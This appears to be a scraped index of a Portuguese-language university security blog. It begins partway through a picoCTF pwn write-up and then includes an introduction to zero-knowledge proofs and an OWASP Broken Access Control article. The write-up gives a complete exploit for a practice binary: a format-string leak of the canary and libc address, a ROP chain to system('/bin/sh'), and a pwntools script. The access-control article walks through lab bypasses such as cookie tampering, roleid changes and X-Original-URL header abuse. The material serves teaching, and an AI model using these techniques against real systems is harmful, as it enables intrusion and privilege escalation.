submitted!\u0026#34;); } else if (choice==3) { // NOTE: Too dangerous in the wrong hands, very spooky indeed puts(\u0026#34;Sorry, this functionality has not been thoroughly tested yet! Try again later.\u0026#34;); return 0; clone(); } else { puts(\u0026#34;Invalid option!\u0026#34;); } } int main() { upkeep(); char username[16]; char password[24]; char status[24] = \u0026#34;Login Successful!\\n\u0026#34;; puts(\u0026#34;Secure Login:\u0026#34;); puts(\u0026#34;Enter username of length 16:\u0026#34;); scanf(\u0026#34;%16s\u0026#34;, username); puts(\u0026#34;Enter password of length 24:\u0026#34;); scanf(\u0026#34;%44s\u0026#34;, password); printf(\u0026#34;Username entered: %s\\n\u0026#34;, username); if (strncmp(username, \u0026#34;admin\u0026#34;, 5) != 0 || strncmp(password, \u0026#34;secretpass123\u0026#34;, 13) != 0) { strcpy(status, \u0026#34;Login failed!\\n\u0026#34;); printf(status); printf(\u0026#34;\\nAccess denied to admin panel.\\n\u0026#34;); printf(\u0026#34;Exiting...\\n\u0026#34;); return 0; } printf(status); admin(); printf(\u0026#34;\\nExiting...\\n\u0026#34;); } Checksec do binário fornecido:\n1 2 3 4 5 Arch: amd64-64-little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled Tudo está habilitado !\nEu usei o pwninit para gerar um arquivo patcheado que usa a libc e o ld fornecidos. Você pode conferi-lo aqui: pwninit\nAo olhar o código-fonte, há algumas coisas suspeitas\u0026hellip;\npassword é um buffer de tamanho 24, mas estamos escrevendo 45 bytes nele (scanf(\u0026quot;%44s\u0026quot;, password);). Existem dois printf(status);, o que pode se tornar uma vulnerabilidade de format string. report é um buffer de tamanho 64, mas estamos escrevendo 129 bytes nele (scanf(\u0026quot;%128s\u0026quot;, report);). Para executar a função admin, precisamos de um username com admin e uma password com secretpass123. Então, para o username, eu forneci a entrada admin. Mas o password é um buffer de tamanho 24 e podemos escrever mais coisas nele. Na verdade, podemos sobrescrever o conteúdo de status, que é declarado imediatamente após password!\nComo status é usado dentro do printf, na verdade temos uma vulnerabilidade de format string. Precisamos preencher o buffer password + o espaço entre password e status e então começar a escrever em status.\nPara calcular o índice passado na format string, podemos usar o gdb. Vamos inserir um ponto de interrupção logo antes do printf vulnerável e examinar a pilha:\nO stack cookie (logo antes do rbp) está na posição 10 se começarmos a contar do topo da pilha. O printf começará imprimindo os registradores e depois imprimirá a pilha. Isso significa que precisamos adicionar 5 a essa contagem (resultando em 15). É importante saber o stack cookie, pois temos um buffer overflow dentro da função admin.\nÉ importante notar também que temos ASLR e PIE ativados, então seria bom ter um vazamento de endereço. Felizmente, ainda podemos escrever mais coisas na entrada do password. Vamos olhar novamente a pilha e ver se conseguimos vazar algo:\nHá um endereço logo após o rbp. É um endereço de retorno para algum lugar. Vamos descobrir para onde isso nos leva executando o comando vmmap.\nNosso endereço é 0x00007ffff7e3109b, e como podemos ver, isso está dentro da libc. Então, podemos vazar um endereço da libc. Como a posição do stack cookie é 15 e está 2 posições antes do endereço de retorno, a posição do endereço da libc será 17 quando explorarmos a vulnerabilidade da format string.\nAté agora temos:\n1 2 3 4 5 6 7 p = process(\u0026#34;./admin-panel_patched\u0026#34;) p.recvline() p.recvline() p.sendline(b\u0026#34;admin\u0026#34;) p.recvline() p.sendline(b\u0026#39;secretpass123aaaaaaaaaaaaaaaaaaa%15$p,%17$p\u0026#39;) p.recvline() Isso deve imprimir o stack cookie e o endereço da libc. Vamos pegar esses valores e imprimi-los na solução:\n1 2 3 4 5 leak_addr = p.recvline().decode()[:-1].split(\u0026#39;,\u0026#39;) stack_cookie = int(leak_addr[0], 16) libc_leak = int(leak_addr[1], 16) print(f\u0026#34;stack cookie is: {hex(stack_cookie)}\u0026#34;) print(f\u0026#34;leaked address is: {hex(libc_leak)}\u0026#34;) Ótimo! O stack cookie e o endereço vazado estão salvos. O programa está agora dentro da função admin(). Vamos tentar explorar o estouro de buffer escolhendo a opção 2. Há uma escrita de 129 bytes no buffer de 64 bytes report. Se fizermos um teste, podemos verificar que realmente podemos sobrescrever o endereço de retorno (e, consequentemente, o stack cookie ;;)\nVamos abri-lo no gdb e inserir um ponto de interrupção antes da verificação do stack cookie (__stack_chk_fail@plt). Estou colocando o ponto de interrupção na instrução mov rdx, QWORD PTR [rbp-0x8]. Vamos também usar o comando pattern create para gerar um padrão para nossa entrada e ver onde as coisas estão dando errado.\nIsso é o que eu vejo dentro do registrador rdx: $rdx : 0x616161616161616a (\u0026quot;jaaaaaaa\u0026quot;?) (poderíamos também verificar o valor de rbp-0x8 usando o comando x/gx $rbp-0x8) Verificando a posição do offset:\n1 2 3 gef➤ pattern offset 0x616161616161616a [+] Searching for \u0026#39;6a61616161616161\u0026#39;/\u0026#39;616161616161616a\u0026#39; with period=8 [+] Found at offset 72 (little-endian search) likely Isso significa que precisamos usar a parte do padrão 'aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaagaaaaaaahaaaaaaaiaaaaaaa' para alcançar o stack cookie. Depois disso, escrevemos o stack cookie que foi recuperado usando a vulnerabilidade de format string e escrevemos qualquer coisa no rbp, não importa. Depois de tudo isso, finalmente podemos escrever no endereço de retorno sem problemas.\nMas para onde retornamos?\nNão temos nenhuma função interessante em nosso programa que poderia executar algo para nós. O que temos, no entanto, é um endereço da libc no endereço de retorno. Como temos PIE e ASLR ativados, esse endereço será randomizado toda vez, mas sempre será a mesma instrução. Nesse caso, precisamos apenas calcular o offset da instrução sendo executada considerando o ponto de entrada como referência. Vamos usar o gdb para alcançar isso\nO endereço destacado é o endereço de retorno. Vamos ver para onde isso nos leva\nIsso nos leva para __libc_start_main+235. Agora precisamos verificar qual é o offset dessa instrução quando o programa não está em execução. Então você pode abrir o arquivo libc dentro do gdb. Eu o abri, disassemblei a __libc_start_main e comecei a procurar pela instrução específica __libc_start_main+235.\nLá está :) Está no endereço 0x000000000002409b, então está no offset 0x2409b após o entrypoint da libc. Agora podemos usar o endereço da libc que vazamos anteriormente e subtrair 0x2409b dele para encontrar o endereço do entrypoint da libc mesmo quando o programa está em execução!\nAqui está o cálculo:\n1 2 libc_start_main_offset = 0x000000000002409b libc_entrypoint = libc_leak - libc_start_main_offset Agora podemos escolher qualquer endereço da libc para pular. Vamos ver se conseguimos executar a função system e passar o argumento /bin/sh para obter uma shell.\nProcurando o offset de system dentro da libc:\nsystem está no offset 0x44af0. Vamos salvar isso:\n1 system_offset = 0x44af0 \u0026quot;/bin/sh\u0026quot; está no offset 18052c:\n1 bin_sh_offset = 0x18052c Então sabemos o endereço de system e o endereço da string \u0026quot;/bin/sh\u0026quot;. No entanto, precisamos colocar a string \u0026quot;/bin/sh\u0026quot; no registrador rdi ao chamar a função system. Podemos conseguir isso usando ROP. Vamos procurar alguns gadgets usando ROPgadget\nO comando é: ROPgadget --binary libc.so.6 --ropchain | grep \u0026quot;pop rdi\u0026quot; [+] Gadget found: 0x23a5f pop rdi ; ret Vamos também salvá-lo:\n1 pop_rdi_ret_offset = 0x23a5f Ótimo! Isso é tudo o que precisamos :)\nEm conclusão, estamos preenchendo todo o buffer report, sobrescrevendo o stack cookie, colocando qualquer coisa no registrador rbp, sobrescrevendo o endereço de retorno com a instrução pop rdi ; ret para colocar a string \u0026quot;/bin/sh\u0026quot; no registrador rdi, colocando o endereço da string \u0026quot;/bin/sh\u0026quot; (o entrypoint da libc + o offset que encontramos) logo depois para que pop rdi funcione corretamente, e então colocando o endereço de system (o entrypoint da libc + o endereço que encontramos) depois para que ret retorne para ele :)\nEsta é a minha solução para este desafio:\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 from pwn import * libc_start_main_offset = 0x000000000002409b pop_rdi_ret_offset = 0x23a5f system_offset = 0x44af0 bin_sh_offset = 0x18052c p = process(\u0026#34;./admin-panel_patched\u0026#34;) p.recvline() p.recvline() p.sendline(b\u0026#34;admin\u0026#34;) p.recvline() p.sendline(b\u0026#39;secretpass123aaaaaaaaaaaaaaaaaaa%15$p,%17$p\u0026#39;) p.recvline() leak_addr = p.recvline().decode()[:-1].split(\u0026#39;,\u0026#39;) stack_cookie = int(leak_addr[0], 16) libc_leak = int(leak_addr[1], 16) print(f\u0026#34;stack cookie is: {hex(stack_cookie)}\u0026#34;) print(f\u0026#34;leaked address is: {hex(libc_leak)}\u0026#34;) libc_entrypoint = libc_leak - libc_start_main_offset pop_rdi_ret = libc_entrypoint + pop_rdi_ret_offset payload = b\u0026#39;aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaagaaaaaaahaaaaaaaiaaaaaaa\u0026#39; payload += p64(stack_cookie) payload += p64(0xdeadbeef) payload += p64(pop_rdi_ret) payload += p64(bin_sh_offset + libc_entrypoint) payload += p64(system_offset + libc_entrypoint) p.recvuntil(b\u0026#39;2 or 3:\u0026#39;) p.sendline(b\u0026#39;2\u0026#39;) p.recvuntil(b\u0026#39;wrong:\u0026#39;) p.sendline(payload) p.interactive() É isso. Espero que tenham gostado :)\n","permalink":"http://grisufrj.github.io/blog/2024-08-02-picogym-pwn-easy/","summary":"Esse é um writeup dos 15 desafios iniciais de pwning do picoGym. Você pode encontrar esses desafios em picoGym. Há também um desafio extra no final do post de um outro CTF :) Vamos começar ^^\nbuffer overflow 0 Nos é dado este arquivo C:\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 #include \u0026lt;stdio.","title":"Resolvendo os desafios iniciais de pwn do picoCTF"},{"content":"Essa é a parte 1 de um estudo sobre ZKPs. A parte 2 irá conter a implementação desses protocolos utilizando Circom.\nO que são Zero-Knowledge Proofs? ZK Proofs (ou em português algo como \u0026ldquo;provas de conhecimento zero\u0026rdquo;) são o que o próprio nome diz: provas de algo ou alguma coisa que não demonstram nenhum \u0026ldquo;conhecimento\u0026rdquo; adicional ao verificador.\nUm exemplo Um exemplo bem simples pode ser visto no jogo da caverna:\nNesse exemplo, Peggy e Victor sabem que existe uma magic door (porta mágica) que precisa de uma senha para ser aberta no meio da caverna circular. O que acontece aqui é que se Peggy escolher o caminho A e sair pela entrada do caminho B, ela teria que passar por essa porta. Dessa forma, isso prova a Victor que Peggy sabe a senha, mas ele não obtém nenhuma informação sobre ela ou qualquer outra coisa durante a interação.\nDefinição Uma definição um pouco melhor é a seguinte:\nUma ZKP é um protocolo entre ($P$, $V$) (sendo $P$ o provador e $V$ o verificador) que é um algoritmo PPT (probabilistic polynomial time).\nUm input público comum é o $x$ ($P$ quer provar que $x$ é, de fato, um membro de uma linguagem $L$).\nUm input privado é o $W$, a witness (testemunha)\nPropriedades Completude Se $x \\in L$, $P$ possui uma testemunha $W$ correta e $(P, V)$ são honestos, $V$ vai aceitar o protocolo.\nSoundness Se $x \\notin L$, $\\forall$ algoritmo $P*$, $V$ vai rejeitar o protocolo com probabilidade $P$ (soundness parameter) estabelecida. Idealmente queremos $P = 1 - negl(n)$. Veja mais em negligible functions\nIntuição de zero-knowledge O algoritmo PPT $V*$ não aprende nada com o protocolo. Tudo o que $V*$ aprende, $V*$ poderia ter computado sozinho. $\\exists$ um algoritmo PPT $S$ que $V*$ poderia usar para gerar o mesmo conhecimento ($\\tau$). Basicamente $S$ é um simulador. $\\exists$ um algoritmo PPT $S$ (público) que gera uma sequência de $\\tau_{sim}$ de forma que: {$\\tau_{sim}$} é computacionalmente indistinguível de {$\\tau_{real}$} Protocolo de exemplo Agora que temos uma definição um pouco mais formal, podemos olhar para um protocolo que utiliza de zero-knowledge proofs.\nIsomorfismo de grafos Sejam $G_1, G_2$ dois grafos presumidamente isomorfos. Queremos provar que sabemos um isomorfismo entre esses dois grafos sem mostrar esse isomorfismo. Vamos definir nossos parâmetros públicos como $X$, sendo ele um par de grafos $({G_0}$ e ${G_1})$. Nosso parâmetro privado (nossa testemunha ${W}$) como sendo a permutação $\\Pi$ que leva ao isomorfismo entre $({G_0}$ e ${G_1})$. De forma que $G_1 = \\Pi(G_0)$ e $G_0 = \\Pi^{-1}(G_1)$. Chamaremos quem quer provar o isomorfismo de $P$ e o verificador de $V$.\nComo o protocolo começa:\n$P$ escolhe um valor de $b$ aleatoriamente de {$0, 1$} $P$ computa uma permutação aleatória $\\sigma$ que pode ser aplicada a qualquer um dos grafos $P$ calcula $G = \\sigma(G_0)$ se $b=0$ e calcula $G = \\sigma(G_1)$ se $b=1$. $P$ envia $G$ para $V$ $V$ escolhe um valor de $b\u0026rsquo;$ aleatoriamente de ${0, 1}$ e envia para $P$ Se $b = b\u0026rsquo;$, $P$ envia $\\phi$ = $\\sigma$ a $V$ Se $b=1, b\u0026rsquo;=0$, $P$ envia $\\phi$ = $\\sigma \\circ \\Pi$ Se $b=0, b\u0026rsquo;=1$, $P$ envia $\\phi$ = $\\sigma \\circ \\Pi^{-1}$ $V$ recebe $\\phi$ e faz a verificação: $G$ $\\stackrel{?}{=}$ $\\phi(G_{b\u0026rsquo;})$ Se a verificação se confirmar, $V$ aceita. Caso contrário, ele rejeita Completude Para verificar a completude, podemos ver que se $b \\neq b\u0026rsquo;$, então $\\phi(G_{b\u0026rsquo;})$=$\\sigma(G_b)$\nSe $b = b\u0026rsquo;$, apesar de não verificarmos o isomorfismo, verificamos que $P$ não está sendo desonesto ao escolher valores de $G_0$ ou $G_1$ na hora de mandar o $G$ para $V$.\nSoundness Se $b \\neq b\u0026rsquo;$ e $b\u0026rsquo;=0$, então:\n$G \\stackrel{?}{=} \\phi(G_0)$\n$G \\stackrel{?}{=} \\sigma \\circ \\Pi(G_0)$\n$G \\stackrel{?}{=} \\sigma(G_1)$\nQue se conclui como verdadeiro.\nAgora para $b\u0026rsquo;=1$:\n$G \\stackrel{?}{=} \\phi(G_1)$\n$G \\stackrel{?}{=} \\sigma \\circ \\Pi^{-1}(G_1)$\n$G \\stackrel{?}{=} \\sigma(G_0)$\nQue também é verdadeiro.\nAgora para $b = b\u0026rsquo;$:\nSe $b = b\u0026rsquo;$, $P*$ vai falhar com uma probabilidade de 1/2. Ao rodar o protocolo várias vezes, a possibilidade de cair nesse caso é praticamente zero.\nMais formalmente temos:\nRode o protocolo $n$ vezes. Aceite a prova somente se todas as verificações forem aceitas. O soundness parameter será: $P = 1 - 1/2^n$\nÉ importante escolhermos um valor de $\\sigma$ novo a cada interação do protocolo. Se escolhermos o mesmo valor, $V*$ pode pedir o isomorfismo entre $G$ e $G_0$ e depois pedir o isomorfismo entre $G$ e $G_1$. A partir daí o verificador teria o isomorfismo entre $G_0$ e $G_1$ (yikes!).\nProtocolo de identificação de Schnorr Agora que já vimos um pouco de como funcionam as ZK-Proofs, podemos dar uma breve olhada em mais um exemplo que também é zero-knowledge.\nComo funciona Seja $E$ uma curva elíptica com ponto gerador $G$ e de ordem $q$. Suponha uma chave privada $x$ e uma chave pública $X$, sendo $X = xG$. Queremos provar o conhecimento da chave privada sem dizer mais nada sobre ela. Isto é, usando zero-knowledge.\nComeçamos o protocolo com o provador $(P)$ gerando um número $r$ aleatoriamente escolhido de $\\mathbb{Z}_{q}$.\nDepois disso, $P$ calcula $R = rG$ e envia para o verificador $(V)$\n$V$ recebe o valor de $R$ e calcula um valor de $c$ aleatoriamente escolhido de um subconjunto de desafios denominado $Challenge\\ space$\n$V$ envia $c$ para $P$.\n$P$ calcula $e = r + cx (mod\\ q)$ e envia isso para $V$\n$V$, por fim, multiplica $e$ por $G$ e verifica se isso se iguala a $R + cX$:\n$eG \\stackrel{?}{=} R + cx$\nCaso ocorra uma confirmação, $V$ aceita o protocolo e acredita em $P$\nConclusão Falaremos em mais detalhes sobre o protocolo de Schnorr na parte 2, onde utilizaremos Circom para implementar isso aí e o protocolo de isomorfismo de grafos. Até lá~ ^^\nReferências [1] https://www.youtube.com/watch?v=_MYpZQVZdiM\n[2] https://en.wikipedia.org/wiki/PP_(complexity)\n[3] https://www.youtube.com/watch?v=l5A3oEG-XKk\n[4] Neal Koblitz. A Course in Number Theory and Cryptography\n[5] Dan Boneh, Victor Shoup. A Graduate Course in Applied Cryptography\n[6] Yehuda Lindell. How To Simulate It – A Tutorial on the Simulation Proof Technique\n[7] Anotações de aula 18 de CS6180: Theory of computing da Cornell University\n[8] Nguyen Thoi Minh Quan. Intuitive Advanced Cryptography\n","permalink":"http://grisufrj.github.io/blog/2024-07-15-intro-zero-knowledge/","summary":"Essa é a parte 1 de um estudo sobre ZKPs. A parte 2 irá conter a implementação desses protocolos utilizando Circom.\nO que são Zero-Knowledge Proofs? ZK Proofs (ou em português algo como \u0026ldquo;provas de conhecimento zero\u0026rdquo;) são o que o próprio nome diz: provas de algo ou alguma coisa que não demonstram nenhum \u0026ldquo;conhecimento\u0026rdquo; adicional ao verificador.\nUm exemplo Um exemplo bem simples pode ser visto no jogo da caverna:","title":"Introdução a provas de zero-knowledge - Parte 1"},{"content":"O que é Broken Access Control? Broken Access Control (BAC), ou Controle de Acesso Quebrado, é uma falha de segurança onde os mecanismos de controle de acesso de um sistema não são implementados ou configurados corretamente, permitindo que usuários mal-intencionados acessem recursos que deveriam estar restritos. Isso pode incluir a visualização de informações confidenciais, a modificação de dados ou a execução de operações privilegiadas.\nO que é OWASP Top 10? O OWASP Top 10 é uma lista publicada pela Open Web Application Security Project (OWASP) que destaca as dez vulnerabilidades mais críticas de segurança em aplicações web. Este documento é amplamente reconhecido e utilizado como um padrão de referência para o desenvolvimento seguro de software. A lista é atualizada periodicamente para refletir as novas ameaças e tendências de segurança.\nTipos de Broken Access Control: Escalonamento Vertical de Privilégios: Quando um usuário com poucos privilégios ganha acesso a funções ou dados de alto privilégio, muitas vezes devido a um controle de acesso baseado em função (RBAC) inadequado ou princípios de menor privilégio mal implementados. Escalonamento Horizontal de Privilégios: Quando um usuário ganha acesso a recursos ou dados que não deveria, mesmo estando no mesmo nível de privilégio, muitas vezes devido a um controle de acesso baseado em atributos (ABAC) inadequado ou má segregação de dados. Burlar Controle de Acesso: Quando um invasor encontra uma maneira de contornar os mecanismos de controle de acesso, como explorando vulnerabilidades na lógica de autenticação ou autorização. Referência Direta de Objeto Insegura (IDOR): Quando uma aplicação expõe dados ou funcionalidades sensíveis através de referências diretas a objetos, permitindo acesso não autorizado. Exemplos Comuns: APIs ou endpoints desprotegidos que permitem acesso não autorizado a dados sensíveis. Listas de controle de acesso (ACLs) ou sistemas de controle de acesso baseado em função (RBAC) configurados de forma insegura. Mecanismos de autenticação fracos ou ausentes, como falta de limitação de taxa ou políticas de senha inadequadas. Validação ou sanitização de entrada inadequadas, permitindo que invasores manipulem decisões de controle de acesso. Sistemas de controle de acesso configurados incorretamente ou desatualizados, como permissões desatualizadas ou contas esquecidas. Vetores de Ataque: Manipulação de API: Manipular solicitações de API para acessar recursos ou dados não autorizados. Manipulação de Parâmetros: Modificar parâmetros de solicitação para burlar verificações de controle de acesso. Sequestro de Sessão: Roubar ou manipular sessões de usuário para obter acesso não autorizado. Escalonamento de Privilégios: Explorar vulnerabilidades para elevar privilégios e acessar recursos restritos. Detecção e Prevenção: Auditorias de Segurança Regulares: Realizar auditorias de segurança regulares para identificar e abordar vulnerabilidades de controle de acesso. Implementação de Menor Privilégio: Aplicar princípios de menor privilégio para limitar o acesso a recursos e dados sensíveis. Autenticação Forte: Implementar mecanismos de autenticação forte, como autenticação multifator (MFA) e limitação de taxa. Validação de Entrada: Validar e sanitizar a entrada do usuário para evitar a manipulação de decisões de controle de acesso. Listas de Controle de Acesso (ACLs): Implementar e revisar regularmente as ACLs para garantir o controle de acesso adequado. Ferramentas e Técnicas: Burp Suite: Uma ferramenta de teste de segurança de aplicações web que pode ajudar a identificar vulnerabilidades de controle de acesso quebrado. ZAP (Zed Attack Proxy): Um scanner de segurança de aplicações web de código aberto que pode detectar problemas de controle de acesso quebrado. Ferramentas de Teste de Segurança de API: Ferramentas como Postman, SoapUI ou API Scanner podem ajudar a testar o controle de acesso de APIs. Testes Manuais: Realizar testes manuais para identificar vulnerabilidades de controle de acesso quebrado, como tentando acessar recursos ou dados não autorizados. Estudos de Casos Facebook Data Breach (2019) Descrição do Ataque\nEm 2019, o Facebook sofreu um vazamento de dados devido a uma falha de Broken Access Control. Cerca de 419 milhões de registros de usuários foram expostos publicamente na internet. Estes registros incluíam números de telefone e identificações de usuários do Facebook.\nIdentificação da Vulnerabilidade: A vulnerabilidade foi decorrente de uma API mal configurada que permitia o acesso a dados de usuários sem a devida autenticação ou autorização.\nExploração da Vulnerabilidade: Atacantes exploraram a API do Facebook que permitia a busca de perfis através de números de telefone, o que resultou no acesso não autorizado a informações pessoais dos usuários.\nImpacto do Ataque:\nExposição de Dados Pessoais: Números de telefone e identificações de milhões de usuários foram expostos.\nPotencial para Fraudes: Informações expostas poderiam ser utilizadas para campanhas de phishing, fraudes e ataques de engenharia social.\nPerda de Confiança: A confiança dos usuários no Facebook foi abalada, impactando negativamente a reputação da empresa.\nMedidas Corretivas\nRevisão de Controle de Acesso: Implementação de verificações rigorosas para garantir que apenas usuários autenticados e autorizados possam acessar APIs sensíveis. Auditoria e Monitoramento: Auditoria contínua dos mecanismos de controle de acesso e monitoramento em tempo real para detectar e responder rapidamente a tentativas de acesso não autorizadas. Educação e Treinamento: Capacitação de desenvolvedores e administradores sobre as melhores práticas de segurança para evitar configurações incorretas. Conclusão do vazamento\nO caso do vazamento de dados do Facebook em 2019 ilustra claramente as consequências graves que podem resultar de um controle de acesso inadequado. Este incidente destaca a importância de implementar, revisar e monitorar constantemente os mecanismos de controle de acesso para proteger os dados e a integridade dos sistemas.\nVazamento de Dados da First American Financial Corp (2019) Descrição do Ataque\nA First American Financial Corp, uma empresa americana de serviços financeiros imobiliários e de liquidação de hipotecas, enfrentou um dos maiores vazamentos de dados da história em 2019. Ben Shoval, um desenvolvedor imobiliário, descobriu que aproximadamente 885 milhões de arquivos contendo dados sensíveis de clientes desde 2003 estavam livremente disponíveis. Ele notificou a empresa sobre o problema.\nIdentificação da Vulnerabilidade\nEste vazamento foi resultado de um erro humano. Em janeiro daquele ano, a equipe interna descobriu uma falha de Insecure Direct Object Reference (IDOR) durante um teste de penetração manual. Essa falha permitia que usuários acessassem informações privadas usando uma URL específica e alterando sequencialmente seus números. Sem a devida autenticação, qualquer usuário podia acessar qualquer informação livremente.\nExploração da Vulnerabilidade\nInsecure Direct Object Reference (IDOR): Esta falha permitia que qualquer pessoa acessasse documentos privados apenas alterando sequencialmente os números no URL. Sem a autenticação adequada, qualquer pessoa podia visualizar documentos confidenciais. Erro Humano: A falha foi inicialmente descoberta pela equipe interna, mas aparentemente não foi corrigida a tempo, resultando na exposição massiva dos dados. Impacto do Ataque\nExposição de Dados Sensíveis: Aproximadamente 885 milhões de arquivos foram expostos, incluindo documentos críticos como registros de hipotecas, extratos bancários, informações de transações e números de seguridade social. Risco de Fraude e Roubo de Identidade: As informações expostas poderiam ser usadas para fraudes, roubo de identidade e outros crimes cibernéticos. Danos à Reputação: A confiança dos clientes na First American Financial Corp foi severamente abalada, resultando em danos significativos à reputação da empresa. Medidas Corretivas\nCorreção da Falha de IDOR: Implementação de controles de acesso adequados para garantir que apenas usuários autenticados e autorizados possam acessar informações sensíveis. Revisão e Melhoria das Práticas de Segurança: Realização de auditorias de segurança regulares e testes de penetração para identificar e corrigir vulnerabilidades antes que possam ser exploradas. Educação e Treinamento: Capacitação contínua da equipe de desenvolvimento sobre as melhores práticas de segurança, especialmente em relação ao controle de acesso e manuseio de dados sensíveis. Monitoramento Contínuo: Implementação de monitoramento em tempo real para detectar e responder rapidamente a tentativas de acesso não autorizadas. Conclusão do vazamento\nO vazamento de dados da First American Financial Corp em 2019 destaca a importância crítica de implementar controles de acesso robustos e de realizar auditorias de segurança contínuas. Erros humanos, como a falha de corrigir vulnerabilidades conhecidas, podem ter consequências devastadoras. Este incidente serve como um lembrete para todas as organizações sobre a necessidade de vigilância constante e de práticas de segurança cibernética rigorosas para proteger dados sensíveis e manter a confiança do cliente.\nBrecha de Segurança na MGM Resorts International (2023) Descrição do Ataque\nEm 2023, a MGM Resorts International, uma gigante do setor de jogos avaliada em $14 bilhões, sofreu uma violação de segurança orquestrada pelo grupo de hackers Scattered Spider. Este ataque resultou em uma interrupção significativa dos sistemas da MGM. Pesquisadores conectaram os grupos de ransomware ALPHV/Blackcat/Scattered Spider aos ataques, com o ALPHV/Blackcat assumindo abertamente a responsabilidade.\nIdentificação da Vulnerabilidade\nPrivilégios de Super Administrador: O grupo de hackers conseguiu persistência na rede da MGM com privilégios de super administrador. Isso sugere que eles tiveram acesso elevado e contínuo ao sistema, permitindo uma ampla visibilidade e a implantação de backdoors. Exploração da Vulnerabilidade\nImplantação de Ransomware: Após bloquear a rede da MGM, os hackers implantaram ransomware, tornando os sistemas da empresa inacessíveis. Exfiltração de Dados: O grupo Scattered Spider alegou ter exfiltrado dados e ameaçou expor qualquer Informação Pessoal Identificável (PII) encontrada, a menos que um resgate significativo fosse pago. Impacto do Ataque\nInterrupção dos Sistemas: O ataque causou uma interrupção significativa nos sistemas da MGM Resorts, afetando suas operações diárias e possivelmente impactando negativamente a experiência dos clientes. Ameaça de Exposição de Dados: A ameaça de expor dados exfiltrados colocou a privacidade dos clientes em risco e poderia levar a consequências legais e de reputação para a empresa. Risco Financeiro: A demanda por resgate representou um risco financeiro direto, além dos custos associados à resposta ao incidente e à recuperação dos sistemas afetados. Medidas Corretivas\nReforço dos Controles de Acesso: Implementação de medidas de segurança mais rigorosas para garantir que apenas usuários autorizados tenham acesso a sistemas críticos, com um foco especial em limitar privilégios administrativos. Monitoramento e Detecção Avançada: Adoção de ferramentas de monitoramento avançadas para detectar atividades suspeitas em tempo real e responder rapidamente a possíveis intrusões. Auditorias de Segurança e Treinamento: Realização de auditorias regulares de segurança para identificar e corrigir vulnerabilidades, além de treinamento contínuo para a equipe sobre práticas de segurança cibernética. Melhorias na Gestão de Backups: Estabelecimento de políticas robustas de backup e recuperação de desastres para garantir que dados críticos possam ser restaurados rapidamente em caso de ataques de ransomware. Conclusão do vazamento\nA violação de segurança na MGM Resorts International em 2023 destaca a necessidade crítica de reforçar a segurança cibernética, especialmente contra ataques sofisticados de ransomware. A capacidade dos hackers de obter privilégios de super administrador e implantar ransomware com sucesso demonstra a importância de implementar controles de acesso rigorosos, monitoramento avançado e medidas proativas de defesa cibernética. Este incidente serve como um lembrete da constante evolução das ameaças cibernéticas e da necessidade de vigilância contínua para proteger dados sensíveis e garantir a resiliência operacional.\nExemplos práticos em Broken Access Control Funcionalidade de Admin desprotegida Podemos tentar algumas formas diferentes para acessar o painel de administrador, neste caso basta colocarmos ‘/administrador-panel’ na URL. Como não há contramedidas, podemos acessar uma página que não deveria ser possível e agir como administrador.\nFuncionalidade de Admin desprotegida Com URL imprevisível Neste caso a URL é imprevisível, significando que mesmo com Brute Force encontrar o painel do admin seria extremamente difícil, portanto o que podemos fazer neste caso é acessar o código fonte da página para procurar por alguma informação.\nPodemos ver que o que procurávamos estava Hardcoded no código fonte da página. Com isso basta colocar ‘/admin-ms7fbd’ na URL para conseguirmos acessar o painel do administrador.\nControle por parâmetro de solicitação feita pelo usuário Neste caso temos uma vulnerabilidade em que o usuário pode manipular uma solicitação. Quando entramos na conta de usuário é enviada uma solicitação para o servidor, e inspecionando a página, indo em Application e em seguida em Cookies, podemos ver que o campo Admin é dado como ‘false’, portanto basta colocarmos como ‘true’.\nApós atualizarmos a página podemos ver que conseguimos entrar como admin.\nO papel do usuário pode ser modificado no perfil do usuário Aqui temos uma vulnerabilidade que permite o usuário se tornar admin modificando o ‘roleid’.\nPodemos ver que quando se faz uma requisição para mudar o email uma das informações dada como resposta é o roleid do usuário, se pudermos modificar o valor do roleid poderemos acessar outras contas.\nE assim conseguimos acessar as funcionalidades de admin.\nO controle de acesso baseado em URL pode ser contornado Para este caso queremos usar X-Original-URL, que basicamente faz com que o request use outro URL, e para testarmos se a aplicação é vulnerável podemos tentar acessar um diretório que sabemos que não existe, e se a resposta for 404 Not Found confirmamos que a aplicação está vulnerável à este ataque.\nColocando /admin no X-Original-Url conseguimos burlar a restrição de acesso, mas se tentarmos fazer alguma coisa que o admin poderia fazer receberemos que o acesso foi negado, portanto como podemos ver o endpoint que queremos usar que no caso seria para deletar o usuário carlos. Porém como não pode colocar argumentos no X-Original-Url, basta colocarmos no cabeçalho.\nApós enviarmos essa requisição recebemos 302 Found, o que significa que provavelmente funcionou.\nConclusão Broken Access Control é uma das vulnerabilidades de segurança mais críticas e comuns nas aplicações web hoje em dia. Esta vulnerabilidade pode resultar em graves consequências, como a exposição de dados sensíveis, comprometimento de sistemas e perda de confiança dos usuários. Exemplos notáveis, como os vazamentos de dados do Facebook, First American Financial Corp e MGM Resorts International, ilustram o impacto devastador que essas falhas podem causar.\nPara mitigar os riscos associados ao Broken Access Control, é essencial implementar práticas robustas de segurança, incluindo auditorias regulares, princípios de menor privilégio, autenticação forte e validação adequada de entrada. Ferramentas como Burp Suite, ZAP e outras ferramentas de teste de segurança de API são recursos valiosos para identificar e corrigir essas vulnerabilidades.\nAlém disso, a educação e o treinamento contínuos para desenvolvedores e administradores são fundamentais para garantir que as melhores práticas de segurança sejam seguidas e que as configurações incorretas sejam evitadas. Com uma abordagem proativa e vigilante, é possível proteger sistemas e dados contra acessos não autorizados, mantendo a integridade e a confiança das aplicações e dos serviços oferecidos.\nReferências: 